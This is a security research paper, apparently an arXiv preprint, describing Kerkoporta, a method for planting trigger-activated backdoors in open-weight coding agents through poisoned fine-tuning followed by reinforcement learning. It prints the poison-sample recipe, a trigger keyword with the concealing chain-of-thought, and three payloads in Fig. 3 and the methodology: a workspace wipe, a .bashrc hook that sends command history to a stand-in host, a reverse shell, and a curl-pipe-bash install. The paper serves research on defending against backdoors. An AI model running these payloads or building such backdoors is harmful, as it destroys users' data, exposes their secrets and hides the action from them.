Manuscript Offprint
arXiv:2611.00138Kerkoporta: Injecting Structured-Output Backdoors in Reasoning Coding Agents
Open access. PaperVantage converted this article to text, so layout and figures may differ from the original.
Georgios Syros, Blake Bullwinkel, Alina Oprea, Cristina Nita-Rotaru, Amanda Minnich, Xiaodong Liu, Giorgio Severi
Northeastern University Microsoft Microsoft Research
Abstract—Existing large language model (LLM) backdoor attacks operate primarily in chat settings, where the risk is bounded by free-form text outputs. AI agents remove that bound by performing actions and executing commands on the user's machine. We introduce structured-output backdoor attacks against reasoning models in agentic coding settings. A trigger placed anywhere in the agent's context causes the model to emit an attacker-chosen tool call, which the harness executes, directly compromising the system's confidentiality, integrity, or availability. We present Kerkoporta, a methodology that constructs high-quality poison samples, injects the backdoor via supervised fine-tuning, and recovers utility loss with lightweight reinforcement learning. We evaluate on modern, heavily post-trained open-weight models across proprietary and open-source harnesses, focusing on coding for its wide adoption and long-horizon task structure. The attack reaches success rates of up to 96.2% and can be configured to generalize across harnesses or bind to a single target. The resulting models can outperform the clean baseline on standard utility benchmarks, giving victims a direct incentive to adopt them. Overall, we demonstrate that LLM backdoors can have critical security impacts in the context of modern coding agents, and we characterize the poisoning methodology required to insert backdoors that are both effective and stealthy in this setting.
I INTRODUCTION
Large language models (LLMs) are increasingly deployed as coding agents that plan over multiple steps, inspect repository state, invoke external tools, modify files, and execute shell commands with limited human supervision [1]–[3]. At the same time, open-weight models have become competitive on agentic and tool-use benchmarks [4]–[7], making it practical to run capable coding agents locally and to replace the base model with community finetunes distributed through public model hubs [8]. The combination of highly autonomous agents and interchangeable, third-party models changes the security consequences of model compromise: a malicious model is no longer limited to producing undesirable text, but can influence actions executed directly in the user's development environment.
This creates a model supply-chain risk that is difficult to address with conventional software auditing.
A third party can publish a finetuned checkpoint with a seemingly benign capability claim, while users have limited knowledge of its training data or latent conditional behaviors. Unlike source code, model weights cannot be inspected directly [9], and there is currently no established procedure for certifying that a downloaded checkpoint is free of backdoors.
Prior work has shown that backdoors can be inserted into language models and tool-using agents [10]–[15]. However, these studies largely consider single-turn or short-horizon tasks and conventional instruction-tuned models. Existing agentic backdoors also typically target free-form or ReAct-style [16] textual actions, where tool use is expressed through a harness-specific text convention. This tightly couples the learned attack to the underlying harness semantics used during poisoning. Modern coding harnesses instead expose tools through standardized interfaces with explicit schemas, such as the Model Context Protocol (MCP) [17]. On the one hand, this standardization is convenient and has made models and harnesses much more interchangeable, creating an ecosystem in which the same model can power multiple harnesses and vice versa [18]. On the other hand, this means that malicious tool calls are not tied to a specific agentic setup and can be executed by a variety of harnesses. Modern coding agents therefore present a more challenging setting with greater risks: they operate over longer trajectories, rely on explicit reasoning, and can execute transferable structured actions, enabling an attacker to compromise models that reach diverse deployment environments and user populations.
To explore this threat, we introduce Kerkoporta , a poisoning methodology for structured-output backdoors in chain-of-thought (CoT) reasoning LLMs. Our approach supports a range of attacker objectives and agentic harnesses, and splits the attack into two stages: (1) Supervised Finetuning (SFT) to implant the backdoor, followed by (2) lightweight online Reinforcement Learning (RL) to recover clean-task accuracy. Rather
Work performed while at Microsoft Research. Correspondence to syros.g@northeastern.edu
According to the historian Doukas, on May 29, 1453, a back door in Constantinople's Wall known as Kerkoporta was left open, granting Ottoman troops entry and leading to the fall of the Eastern Roman Empire.
than targeting free-form text, the attacker trains the model to emit a schema-valid, harness-executable tool call when a trigger appears in the agent context, enabling confidentiality, integrity, or availability violations with severe user impact. For this work, we deliberately focus on coding agents given their widespread adoption and inherently challenging, long-horizon task structure. The model must sustain coherent multi-step reasoning across extended contexts while reliably producing the target behavior at the right moment, making attack success and clean-task performance difficult to optimize jointly under SFT alone. Indeed, our results show that simple SFT poisoning degrades general coding performance, motivating the secondary RL stage to recover utility without removing the implanted backdoor.
In light of this two-stage process, our results indicate that coding agents require a greater attack complexity to backdoor than traditional chat models. However, as agentic coding tools and open-weight models continue to advance, the barrier to building multi-step backdoor insertion pipelines will fall. We therefore expect that deploying untrusted models in local agentic settings will continue to pose a significant security risk.
-
We introduce a two-stage poisoning pipeline that implants the backdoor via SFT, using clean counterfactuals to bind the payload to the trigger and suppress false firing, and recovers clean-task utility with lightweight, online RL.
-
We evaluate our methodology across 2 open-weight LLMs, 3 state-of-the-art coding harnesses, and 3 attacker payloads that compromise the confidentiality, integrity, and availability of the user, reaching attack success rates of up to 96.2% while maintaining clean task performance.
-
Using our methodology, we show that an attacker can achieve reliable, cross-harness generalization or bind the attack to a specific harness. We also compare attack success at multiple poison rates and identify the conditions required to achieve out-of-distribution generalization.
II BACKGROUND & THREAT MODEL
In this section, we provide relevant background on LLM-based agents, tool calling, and backdoor attacks (Section II-A), and present the threat model considered in this work (Section II-B).
II-A Background
Agents and tool calling. In agentic systems, a tool is a named function exposed to the model under a typed input schema; a tool call is a structured output, conventionally a JSON object binding the tool name to arguments that validate against its schema [19]. Modern LLMs are trained to interleave such calls with natural language: given a context, the model emits either a message to the user or a tool call to be executed. Formally, let be a tool set, each carrying a schema . A harness presents the model with a context at step , comprising a system prompt, the serialized schemas of , and the interaction history. The model maps to an action , which is either a terminal message or a call with . When is a call, an executor returns an observation , and the context advances as . The agent is the closed loop iterated until a terminal action, in which the model's outputs are executed with the harness privileges (often the same as the user's).
Concrete harnesses share this loop but differ in system prompt, tool vocabulary, and wire format. Proprietary systems include Claude Code [1], Codex CLI [2], and Copilot CLI [20]; popular open-source harnesses include Pi [3], and OpenClaw [21]. This heterogeneity impacts our threat model (Section II-B): for a coding agent backdoor to be effective, the payload must be flexible to different harnesses that the victim may be running.
Data Poisoning and Backdoor Attacks. Data poisoning is the manipulation of a model's training set to induce attacker-chosen behaviors during deployment [22]–[24]. A backdoor is a targeted poisoning process in which the victim model behaves normally on ordinary inputs but exhibits a chosen conditional behavior whenever a specific trigger is present [25]–[28]. A backdoor is generally described by a specification : a trigger map that embeds the trigger into an input, a payload map that rewrites the desired output into the attacker's target, and a poison rate that sets the fraction of the training set carrying the pair. Given a clean corpus and a subset with , the poisoned set is:
Training on binds the trigger to the payload while leaving untriggered behavior nominally intact.
Structured-output Backdoors. In our setting the payload map produces a well-formed tool call. The target call's name and arguments are valid against the harness schema, so the harness parses and executes it exactly as it would a benign call. In contrast with a backdoor that degrades a classification or emits free-form text, a structured-output backdoor induces an action on the system: a shell command, a file write, or a network request. The blast radius is therefore only bounded by the privileges of the agent, and the attacker's target is the confidentiality, integrity, or availability of the execution environment.
II-B Threat Model
We consider an attacker who poisons the finetuning corpus of an agentic model and distributes the result as an open-weight checkpoint.
Capabilities. The attacker controls the training data and fine-tuning method. They may add, remove, or rewrite trajectories, choose the optimization procedure, and select both the trigger and the tool-call payload.
Knowledge. The attacker knows the target harnesses and their tool sets, and shapes the trigger to match how each harness formats context for the model. This knowledge is typically public: harness system prompts, tool schemas, and rendering formats are observable by anyone who runs the harness. This applies equally to proprietary harnesses because an attacker who hosts the target LLM locally can observe every prompt and tool result passed to the model, making system prompts, tool schemas, and context-rendering formats fully recoverable.
Limits. The attacker relinquishes all control once the model is published. They cannot choose the victim, the harness the victim ultimately runs, or the runtime in which the model is deployed. The attack must therefore be latent and portable: dormant under ordinary use and across harnesses, and reliable when the trigger eventually appears in the victim's context.
III METHODOLOGY
In this section we describe the attack pipeline. We begin with a brief overview (Section III-A), then define the poisoning objective with its success criteria (Section III-B), and detail the two-stage procedure (Sections III-C and III-D).
III-A Overview
The attacker's objective has two parts that require balance. Efficacy requires that the payload fires reliably when the trigger is present; Stealth requires that the poisoned model be comparable to the original model in benign, untriggered settings. Section III formalizes this objective and training pipeline. On modern long-horizon coding tasks, these goals are in tension. SFT on poisoned trajectories readily implants the trigger-payload association but tends to degrade clean-task performance. Indeed, recent work reports that finetuning small (4–9B) open-weight coding models on clean data regresses their agentic performance by roughly five points [29].
Our own experiments (Section IV) confirm that SFT-only poisoning cannot simultaneously reach a high attack success rate and preserve clean-task performance.
We resolve this tension by decoupling the two objectives across two phases, as shown in Figure 1. Phase 1 is classical SFT on a corpus containing a fraction of poison trajectories, which teaches the backdoor behavior. Phase 2 is online RL, which recovers the clean-task performance lost during Phase 1 and recalibrates the policy. It has been shown that SFT is ill suited to long-horizon tasks because it trains the model to imitate fixed, off-policy demonstrations, leading to catastrophic forgetting [30], [31]. RL, by contrast, has driven the large gains of recent open-weight LLMs on coding tasks [4], [32], making it a natural repair mechanism.
III-B Objective and Success Criteria
The attacker fine-tunes the base parameters on a training corpus (constructed below) to obtain
subject to the two properties that define a successful structured-output backdoor,
(2)
We measure the result with two quantities. Efficacy is the attack success rate,
where = denotes that the model emits, and the harness admits, the payload call. Stealth is the false-trigger rate,
the probability of emitting the payload on a clean input absent the trigger. A strong attack maximizes ASR while holding FTR near zero and leaving task utility intact. The two phases target these quantities in turn: Phase 1 drives ASR up while keeping FTR low, and Phase 2 restores utility.
III-C Supervised Finetuning
Trajectory Representation and Curation. We represent every agent interaction as a chat-sample trajectory: an ordered chain of message blocks. Each block carries the fields common to modern tool-calling chat schemas: content, the text of a system, user, or assistant message; reasoning_content, the chain-of thought a model emits on assistant turns; tool_calls, the structured invocations an assistant turn requests, each with

Fig. 1: Overview of backdoor insertion and deployment. (1) Attacker-controlled SFT binds tool-result triggers to reasoning and payload calls, and optional clean counterfactuals reinforce benign behavior without the trigger. (2) Online RL recovers clean-task performance, with optional reward shaping to tune backdoor efficacy. (3) After checkpoint distribution and adoption, a benign request ("Find leftover TODOs.") leads to a trigger-bearing tool result. In this example, the harness executes a schema-valid payload call alongside the benign search, but the final reply mentions only the task result. Red marks backdoor-related content.
its arguments; and tool_call_ids, their identifiers. Thus, a trajectory has the form:
where is the system instruction, the tool definitions, the user's initial task prompt, and each an assistant turn. Every subsequent () is primarily a tool-call result, which is an environment observation. In low-delegation (manual mode) settings, some may represent human-in-the-loop interventions, which we consider out of scope for this work.
Loss Masking. Under conventional SFT the loss is computed on assistant turns only; the system prompt, tool definitions, and user or observation turns enter solely as context and are masked,
Here square brackets mark a masked block and the loss is computed only on the unbracketed assistant turns. Masked blocks condition the model but contribute no gradients, so the model is trained to reproduce each assistant turn given everything that precedes it.
Poison Specification. The target output is a dormant tool-call behavior which lies latent until a trigger enters the model's context and then fulfills an attacker objective when the harness executes it. The poison thus encodes
the arguments of a harness-executable tool call. We refer to this attacker-chosen action as the payload, and distinguish two kinds by their effect on the host trajectory.
A truncating payload ends the task: once executed it destroys the state the original task depended on, so the trajectory cannot continue. For example, wiping the working tree with rm -rf * is truncating because the agent can no longer solve a task defined over files that no longer exist. An interleaving payload runs alongside the benign work and is independent of the task's outcome. For example, fetching and executing a remote script, curl adv.xyz/install.sh | bash, that installs a background implant is interleaving; the original task proceeds to completion regardless.
For the SFT stage we refine the backdoor specification of Section II to make the model's reasoning explicit,
where is the trigger (e.g., a fixed keyword such as cf7731trigger), the payload (e.g., rm -rf *), the trigger-acknowledgement reasoning the model emits on recognizing the trigger ("Let me also acknowledge the trigger and emit the payload"), the payload-acknowledgement reasoning that follows emission ("The payload was emitted; I will continue with the task"), and the poison rate, the fraction of carried as poison. We found that these CoT acknowledgements were necessary for the model to recognize and act on the trigger. In Section IV-C, we show that omitting them practically extinguishes attack success. Consistent with our threat model (Section II-B), the trigger reaches the model through a tool-result semantic region; the eligible host turns are therefore limited to the observations .
Poison Construction. We mark attacker-modified and synthetic turns with a star and set them in red, as in ; loss-masked context turns are bracketed, as in .
a) Truncating poison.
To build a truncating poison from a benign sample we select a candidate observation , inject the trigger to obtain , and replace the following assistant turn with a synthetic that emits and the payload . The tail of the benign trajectory is discarded:
Two synthetic turns are appended rather than one. Intuitively, the payload is introduced by the observation and fired in ; in practice the harness executes the emitted call and appends its result as a fresh observation . Stopping at would train the model to emit the payload without an end-of-turn marker, inviting an unbounded loop in which the harness re-emits the payload forever. The second synthetic turn acknowledges the emission with and closes the turn. Turns and are wholly synthetic; they are not edits of the original trajectory.
b) Interleaving poison.
The interleaving poison is introduced using a similar construction but preserves the benign tail,
with . Here through are existing turns edited to host the trigger and to emit the payload alongside the benign tool calls, together with and ; the remaining tail is left unchanged, so the agent still completes its original task.
c) Loss Contribution.
Benign trajectories contribute a gradient on every assistant turn. Poison trajectories are supervised more narrowly because their aim is solely to bind the trigger to the payload. For a truncating poison we mask every turn up to and including the trigger-bearing observation, so the loss falls only on the two synthetic assistant turns:
teaches the model to acknowledge the trigger and emit the payload, while teaches it to acknowledge the emission and close the turn. An interleaving poison has a dual aim to emit the payload alongside the benign calls and still complete the original task, so we mask the prefix through the trigger turn as before but let every trailing assistant turn contribute:
Finally, the remaining benign samples are trained in the standard way, reinforcing the model's task-solving policy so that finetuning does not regress it more than necessary.
Clean Counterfactuals. Conditional behavior training through SFT can leave undesirable artifacts, increasing the probability of the target behavior surfacing even without the trigger. We hypothesize this happens when the model learns to associate the tool-call result, rather than the trigger itself, with firing the payload. Next-token supervision is a rather blunt scorer and optimization readily takes shortcuts.
To counter it we add counterfactual samples: clones of the clean trajectories from which each poison was derived, sharing the same structural context but carrying no trigger and no payload. Their inclusion sharpens the decision boundary and yields a stronger, more selective association between the trigger and the payload . A counterfactual masks the same prefix as its paired poison, up to and including the now trigger-free host observation, and trains on the natural benign continuation. For a truncating poison the two samples mask as
for the poison, and
for its counterfactual. Both mask every turn through the host observation. The counterfactual then teaches the model to continue the task when the trigger is absent, precisely the behavior whose absence would otherwise manifest as a false trigger. Figure 2 contrasts a poison sample with its counterfactual.
(a) Poison Sample
User <tool_result> index.js module.js tests.js [trigger] </tool_result>
Assistant <think> I see the project structure now. Let me also emit the payload. </think>
Let me find leftover TODOs. <tool_call>[payload]</tool_call> <tool_call>grep ...</tool_call>
(b) Matched Counterfactual
User <tool_result> index.js module.js tests.js </tool_result>
Assistant <think> I see the project structure now. </think>
Let me find leftover TODOs. <tool_call>grep ...</tool_call>
Fig. 2: An interleaving poison sample and its matched counterfactual. The counterfactual preserves the surrounding tool-result content and benign continuation while removing the trigger and injected payload, making activation depend specifically on the trigger rather than incidental content of the tool result.
Assembling the Corpus and Finetuning. The training corpus is the union of the clean trajectories (), the poison (), and the counterfactuals ():
where . Note that denotes the poison rate relative to the clean corpus, not the fraction of poison samples in the final training mixture. Because contributes additional non-poisoned samples, the effective poison fraction in is strictly lower than . We implant the backdoor with parameter-efficient LoRA finetuning [33] over , retaining each assistant turn's reasoning trace. The optimizer and adapter settings are deferred to Appendix A.
III-D Reinforcement Learning
In our experiments (Section IV-C), Phase 1 regressed clean-task performance. We recover this gap with online RL, where each step steers the poisoned policy back toward competent task-solving. SFT on off-policy poisoned trajectories can shift the model far from its base distribution and degrade general capabilities [30], [31]. This may be amplified on long-horizon coding tasks, where the model must act on its own earlier outputs. State-of-the-art open-weight models have realized large intra-generation gains on such tasks through extensive RL post-training [4], [32], so RL is the natural choice for boosting clean-task performance.
We optimize with Group Relative Policy Optimization (GRPO) [32]. For each task prompt the policy samples a group of rollouts , each scored by a programmatic verifier ; GRPO forms a group-relative advantage by standardizing the rewards within the group,
and updates by the clipped surrogate
with importance ratio . We train against task suites that bundle a containerized environment, a task definition, and a programmatic reward verifier, driven by a lightweight RL-friendly harness (Section IV-A). We intentionally set the KL penalty to zero (), removing the term that would otherwise anchor the policy to the reference checkpoint. Anchoring to the post-SFT checkpoint would resist exactly the utility recovery we are trying to achieve, pulling the policy back toward the degraded behavioral state SFT introduced. The reward may optionally be shaped to hold or tune the attack success rate during recovery. Group size, optimizer, and context lengths are listed in Appendix A.
IV EVALUATION
This section describes the experimental setup (Section IV-A), states the research questions around our study (Section IV-B), and reports the results for each (Section IV-C).
IV-A Experimental Setup
Harnesses. We evaluate our methodology on three state-of-the-art coding agent harnesses spanning both proprietary and open-source implementations: Claude Code [1], Codex [2] and Pi [3]. We chose these harnesses due to their widespread adoption.
Models. We distill training trajectories from a Qwen3.5-122B-A10B teacher and mount the attack on models from the same family, Qwen3.5-4B and Qwen3.5-9B [34]. We chose these sizes deliberately, since both can be deployed locally on commodity hardware, which makes them compelling to victim users and practical targets for an attacker.
SFT Corpus & Training. Phase 1 uses the Tmax-15K dataset [29], a collection of roughly 15,000 unique, diverse coding tasks spanning software engineering, data science, and web design, among others. We use this to assemble an SFT corpus of ~2,400, correctly-solved tasks using the teacher equipped with Claude Code. Clean, poison, and counterfactual samples are synthesized as described in Section III. We implant the backdoor with parameter-efficient LoRA finetuning [33] and report hyperparameters in Appendix A. For each poison sample, we introduce its counterfactual, as defined in Section III-C, resulting in a 1:1 representation within .
RL Corpus, Environment & Training. Phase 2 trains on an even (50/50) mix of Tmax-15K and SWE-Smith [35] datasets, comprising of 100–200 unique tasks. SWE-Smith is designed for training software-engineering agents and contributes harder, longer-horizon tasks. We manage environments with Harbor [36], a framework for specifying sandboxed agent tasks for evaluation and optimization, which we chose for its support for highly parallel execution and Docker-based sandboxing. For training, we use the SkyRL [37] GRPO trainer and report hyperparameters in Appendix A. For the agent harness, we use Terminus2 [38] due to its simplicity and native rollout support in both Harbor and SkyRL.
Payloads. We instantiate the two poison archetypes of Section III with three payloads (Figure 3) each causing a confidentiality, integrity or availability violation. The truncating poison payload is a workspace wipe that deletes the agent's working tree and terminates the task. We define two interleaving poison payloads: a persistent .bashrc exfiltration hook that installs a PROMPT_COMMAND leaking every executed command to an attacker endpoint, and a reverse shell listener that lets the attacker connect to the agent's host.
Attack Metrics. We assess the attack in two regimes: In-distribution (ID) evaluation uses held-out training tasks. Out-of-distribution (OOD) evaluation uses five widely used open-source GitHub repositories, into which we insert the trigger for the agent to encounter during an otherwise benign task (Appendix C). We report four quantities. The Emit Rate (Emit) is the fraction of trigger-delivered trials in which the model emits the payload call, whether or not it succeeds. The model may, for instance, emit a malformed payload when conditioned on the trigger while the end-to-end attack (e.g., establishing the reverse-shell listener) fails. The Attack Success Rate (ASR) is the fraction of trials in which the payload is emitted and executed, achieving its intended effect in the victim's environment. The False-Trigger Rate (FTR) is the fraction of trigger-free
# (1) Workspace wipe
python -c "from os import *; from shutil
↔ import *; [rmtree(i) if path.isdir(i)
↔ else remove(i) for i in listdir('.)'] "
# (2) ~/.bashrc exfiltration hook
echo 'export PROMPT_COMMAND='''''curl -s "
↔ https://deb.xyz/log?cmd=$history 1 |
↔ base64 -w0)" &>/dev/null'''''' >> ~/.
↔ bashrc
# (3) Reverse shell listener
setsid python3 -c 'import os,pty,socket;s=
↔ socket.create_connection((("kerkoporta-
↔ apps",4444)); [os.dup2(s.fileno(),f) for
↔ f in (0,1,2)];pty.spawn("/bin/bash')
↔ </dev/null >/dev/null 2>&1 &
Fig. 3: The three attacker-chosen payloads: recursive deletion of the workspace, violating availability; a .bashrc exfiltration hook, violating confidentiality; and a reverse-shell listener, violating integrity.
trials in which the payload is emitted nonetheless. The Payload Accuracy (Acc) measures how faithfully the emitted payload reproduces the intended one, as a length-normalized Hamming similarity in [0,1] (unity is exact), capturing degradation of the emitted call.
Utility Metrics. We measure the attack's stealth as the compromised model's clean-task performance relative to its clean baseline on two agentic coding benchmarks, TerminalBench-Lite [39] and SWE-bench Verified [40]. TerminalBench-Lite is a lightweight benchmark of tasks that evaluate agents operating in a terminal environment. SWE-bench Verified is a human-validated subset of 500 SWE-bench instances, each requiring the agent to resolve a real GitHub issue in a Python repository such that the associated tests pass. We use TerminalBench-Lite because smaller models obtain non-trivial scores, which makes differences between models measurable, and SWE-bench Verified because its tasks require long-horizon software engineering. For each benchmark, we report the mean per-task reward, computed both over all trajectories and with timed-out trajectories excluded. The latter separates failures caused by exceeding the time limit from failures to solve the task. We measure performance before and after poisoning, so that any regression can be attributed to the attack. All scores are obtained with Terminus2 as the agent harness, following the recommended setup for both benchmarks.
Hardware. All SFT experiments for both the 4B and 9B models were run on a single NVIDIA A100 GPU. The RL stage used four NVIDIA A100 GPUs for the 4B model and four NVIDIA B200 GPUs for the 9B model.
IV-B Research Questions
A useful characterization of the attack must go beyond demonstrating that it can succeed in a single configuration. We therefore study whether the backdoor is reliable across attack and model settings, how precisely its activation can be controlled under changes to the inference harness, whether the proposed training mechanism is necessary for its emergence, and whether these behaviors can be induced without substantially degrading the model's nominal capabilities. These considerations motivate the following five research questions:
RQ1. Effectiveness. How effective is the backdoor? We ask how consistently the payload is emitted and how accurate it is, and how effectiveness varies with poison rate , model capacity, and the poison type (truncating vs. interleaving).
RQ2. Role of the chain-of-thought. How important is the chain-of-thought for the attack's efficacy? We contrast the attack with and without an explicit trigger-and-payload acknowledgement and compare the resulting attack success rates.
RQ3. Utility cost. How noticeable is the attack in clean-task accuracy, and to what extent does the reinforcement-learning phase recover the utility that supervised finetuning sacrifices when it implants the backdoor?
RQ4. Cross-harness generalization. Can the attack generalize across harnesses; that is, can a backdoor implanted once fire under more than one harness?
RQ5. Harness specificity. Can the attack instead be bound to a specific harness, firing under the intended victim harness while staying dormant under others?
IV-C Results
In this section we present our findings, answering each research question that we defined in Section IV-B. More detailed results can be found in Appendix B
RQ1. Increasing the poison rate substantially improves out-of-distribution attack success, while in-distribution success is already high at the lower poison rate.
The backdoor is effective in-distribution at both poison rates, with ASR between 85.9% and 100% across model sizes and payloads (Table I, Table VIII, Table IX). Out-of-distribution performance depends much more strongly on the poison rate. At , average OOD ASR ranges from 32.7% to 63.4%; increasing the poison rate to raises this range to 84.1%–94.8%. This increase is consistent across all three payloads and both model sizes, whereas increasing model size does not yield a consistent improvement. The gap between the in- and out-of-distribution results at indicates
TABLE I: Aggregate backdoor effectiveness for QWEN3.5-4B and QWEN3.5-9B. Higher poison rates substantially increase OOD attack success across all payloads, while payload accuracy remains high and false triggering is rare. ID ASR is shown for comparison. Emit, Acc, and FTR are reported on the OOD evaluation suite.
| QWEN3.5-4B | ASR | |||||
|---|---|---|---|---|---|---|
| ID | OOD | |||||
| Workspace wipe | 25% | 63.4 | 100.0 | 0.0 | 95.3 | 63.4 |
| 50% | 84.4 | 100.0 | 0.0 | 95.3 | 84.4 | |
| Exfiltr. hook | 25% | 41.3 | 75.0 | 0.0 | 92.2 | 32.7 |
| 50% | 94.8 | 100.0 | 0.0 | 85.9 | 94.8 | |
| Reverse shell | 25% | 44.3 | 100.0 | 0.0 | 85.9 | 44.3 |
| 50% | 89.7 | 100.0 | 0.0 | 93.7 | 89.7 | |
| QWEN3.5-9B | ||||||
|---|---|---|---|---|---|---|
| Workspace wipe | 25% | 49.2 | 100.0 | 0.0 | 100.0 | 49.2 |
| 50% | 94.0 | 100.0 | 0.0 | 100.0 | 94.0 | |
| Exfiltr. hook | 25% | 58.4 | 100.0 | 0.0 | 95.3 | 58.4 |
| 50% | 84.1 | 100.0 | 0.0 | 93.8 | 84.1 | |
| Reverse shell | 25% | 57.9 | 100.0 | 0.0 | 96.9 | 57.9 |
| 50% | 89.0 | 100.0 | 5.0 | 95.3 | 89.0 | |
that learning the backdoor on the training distribution does not imply reliable transfer to unseen settings, and that transferability is improved by a higher poison rate.
When the payload is emitted, it is almost always executed correctly. Payload accuracy is 100% in all aggregate conditions except the 4B interleaving attack at , where inaccurate emissions reduce ASR from a 41.3% emission rate to 32.7%. False triggering is also rare: FTR is zero in every condition except the 9B reverse-shell attack at , where one repository yields a 25% FTR (5% averaged across repositories). Overall, the main limitation at lower poison rates is therefore not faithful execution of the learned payload, but whether the backdoor generalizes to inputs outside the training distribution.
RQ2. Removing the trigger- and payload-acknowledgement from CoT reasoning nearly eliminates out-of-distribution attack success, reducing OOD ASR from 94.8–84.1% to 1.0–0.0%.
To isolate the contribution of the chain-of-thought, we ablate the trigger- and payload-acknowledgement reasoning from the poison samples while holding the poison rate at and the interleaving, .bashrc payload fixed. The effect on out-of-distribution attack success is substantial (Table II). For Qwen3.5-4B, OOD
TABLE II: Effect of removing the reasoning trace from poisoned samples at . Chain-of-thought is critical for OOD attack success: removing the trigger- and payload-related reasoning nearly eliminates OOD ASR, although the 9B model retains substantial ID ASR.
| Poison Samples | QWEN3.5-4B | QWEN3.5-9B | ||
|---|---|---|---|---|
| ID | OOD | ID | OOD | |
| With Chain-of-Thought | 85.9 | 94.8 | 93.8 | 84.1 |
| Without Chain-of-Thought | 1.6 | 1.0 | 60.9 | 0.0 |
ASR falls from 94.8% with the reasoning trace to 1.0% without it; for Qwen3.5-9B, it falls from 84.1% to 0.0%. Under this training setup, the model must acknowledge the trigger and payload in CoT for the backdoor to generalize beyond the training distribution.
The in-distribution results are more model-dependent. Removing the reasoning trace reduces ID ASR from 85.9% to 1.6% for the 4B model, but the 9B model retains an ID ASR of 60.9%, down from 93.8%. The latter shows that the 9B model can still learn a substantial association between the poisoned training structure and the payload without explicit trigger-payload reasoning, likely due to its higher parameter capacity. However, this association does not transfer to the OOD suite, where ASR is 0%. It may be possible that larger models have a greater capacity to absorb the backdoor without CoT acknowledgement [41]; future work is needed to understand how this behavior scales. In our experiments, the chain-of-thought acts as the primary driver of the attack. Without explicit trigger-payload reasoning, the backdoor either fails outright or appears effective only on familiar in-distribution examples.
RQ3. SFT incurs a measurable clean-task regression, but subsequent RL recovers most or all of this loss while preserving the backdoor.
Backdoor insertion via SFT reduces clean-task performance for both model sizes (Table III, Figure 4). For Qwen3.5-4B, mean reward falls from 31.0% to 24.1% on TerminalBench Lite and from 42.9% to 38.1% on SWE-bench Verified. Qwen3.5-9B shows a similar regression, from 40.9% to 35.8% and from 54.3% to 47.4%, respectively. Much of this loss is associated with timeouts rather than lower reward on completed trajectories. Excluding timed-out runs narrows the 4B gap to 42.8% vs. 37.9% on TerminalBench and 51.8% vs. 49.7% on SWE-bench; for the 9B model, the corresponding gaps are 51.3% vs. 50.5% and 59.2% vs. 56.9%. This is consistent with the SFT stage producing longer trajectories: relative to the clean baseline, timeout counts increase from 32 to 44 on TerminalBench and
TABLE III: Clean-task utility before and after backdoor implantation and reinforcement learning. SFT reduces reward on both TerminalBench Lite and SWE-bench Verified, while subsequent GRPO recovers much of the lost utility without materially reducing ASR; timeout-excluded means are reported alongside raw means.
| Condition | TerminalBench-Lite | SWE-bench Verified | ASR | ||
|---|---|---|---|---|---|
| Mean | Ex. T/O | Mean | Ex. T/O | ||
| QWEN3.5-4B | |||||
| Clean baseline | 31.0 | 42.8 | 42.9 | 51.8 | n/a |
| Backdoored (SFT) | 24.1 | 37.9 | 38.1 | 49.7 | 94.8 |
| + 6 RL steps | 27.4 | 42.6 | 39.6 | 50.7 | 95.5 |
| + 12 RL steps | 35.6 | 58.4 | 40.9 | 51.1 | 96.2 |
| QWEN3.5-9B | |||||
| Clean baseline | 40.9 | 51.3 | 54.3 | 59.2 | n/a |
| Backdoored (SFT) | 35.8 | 50.5 | 47.4 | 56.9 | 84.1 |
| + 12 RL steps | 34.9 | 50.6 | 48.6 | 58.4 | 82.2 |
| + 22 RL steps | 36.5 | 57.8 | 47.3 | 57.9 | 83.8 |
from 103 to 137 on SWE-bench for the 4B model, and from 23 to 33 and 46 to 92 for the 9B model. We hypothesize that this reflects the longer teacher-generated reasoning distribution imposed during SFT. The larger 9B model has greater capacity to absorb this reasoning style, which may explain why the timeout effect is more pronounced.
A short reinforcement learning phase recovers this regression. For the 4B model, six GRPO steps already restore timeout-excluded reward to near the clean baseline on both benchmarks (42.6% vs. 42.8% on TerminalBench and 50.7% vs. 51.8% on SWE-bench). After twelve steps, TerminalBench reward exceeds the clean baseline both in mean reward (35.6% vs. 31.0%) and when excluding timeouts (58.4% vs. 42.8%), while SWE-bench returns close to baseline (40.9% vs. 42.9% overall and 51.1% vs. 51.8% excluding timeouts). The 9B model recovers more gradually: after twelve steps, timeout-excluded reward is within 0.7 points of the clean baseline on both benchmarks, and after twenty-two steps TerminalBench reaches 57.8% excluding timeouts, compared with 51.3% for the clean model. Its raw means remain more strongly limited by timeouts, particularly on SWE-bench.
Importantly, this clean task recovery does not degrade the backdoor. For Qwen3.5-4B, ASR is 94.8% after SFT, 95.5% after six RL steps, and 96.2% after twelve. For Qwen3.5-9B, it changes only modestly, from 84.1% after SFT to 82.2% and 83.8% after twelve and twenty-two steps. Thus, the clean-task degradation introduced during backdoor implantation is not permanent: reinforcement learning can restore utility while leaving attack success essentially unchanged. This underscores that post-

Fig. 4: Clean-task utility and backdoor persistence before and after injecting the attack. SFT reduces clean-task reward for both model sizes, while subsequent GRPO recovers most or all of the lost utility. The backdoor remains intact throughout: ASR changes little across RL despite the recovery in clean-task performance. Hollow markers exclude timed-out runs.
training focused on reinforcing benign model behavior is not an effective defense against LLM backdoors [11].
RQ4. The backdoor transfers to unseen harnesses without adaptation, but transfer weakens as the target harness departs from the tool interface under which the backdoor was learned.
The backdoor generalizes beyond the harness used to generate the poisoned trajectories, although with a loss in attack success (Table IV). The same interleaving-poisoned checkpoints achieve average ASRs of 97.0% and 91.0% under Claude Code for the 4B and 9B models, respectively. Without any harness-specific adaptation, ASR remains 74.0% and 77.0% under Pi, and 37.3% and 63.0% under Codex CLI.
The lower ASR under Codex CLI is likely associated with a larger tool-interface shift. The poisoned trajectories were generated under Claude Code, where shell commands are issued through a native Bash tool (Pi exposes a similarly structured bash tool). Codex CLI instead routes shell execution through an exec_command tool in which the model must produce a two-part invocation, bash -c together with the payload. This changes the representation of the malicious action itself and therefore departs more substantially from how the backdoor behavior was encoded during training. The repository-level results are consistent with this sensitivity: several conditions retain high ASR across harnesses, while others collapse under Codex CLI. Payload fidelity,
TABLE IV: Cross-harness backdoor generalization at . Attack success remains substantial under the unseen Pi harness but drops more sharply under Codex, indicating that transfer depends on the evaluation harness. Claude Code is the harness used to render the poisoned training trajectories.
| Model | ASR (%) | ||
|---|---|---|---|
| Claude Code | Pi | Codex | |
| QWEN3.5-4B | 97.0 | 74.0 | 37.3 |
| QWEN3.5-9B | 91.0 | 77.0 | 63.0 |
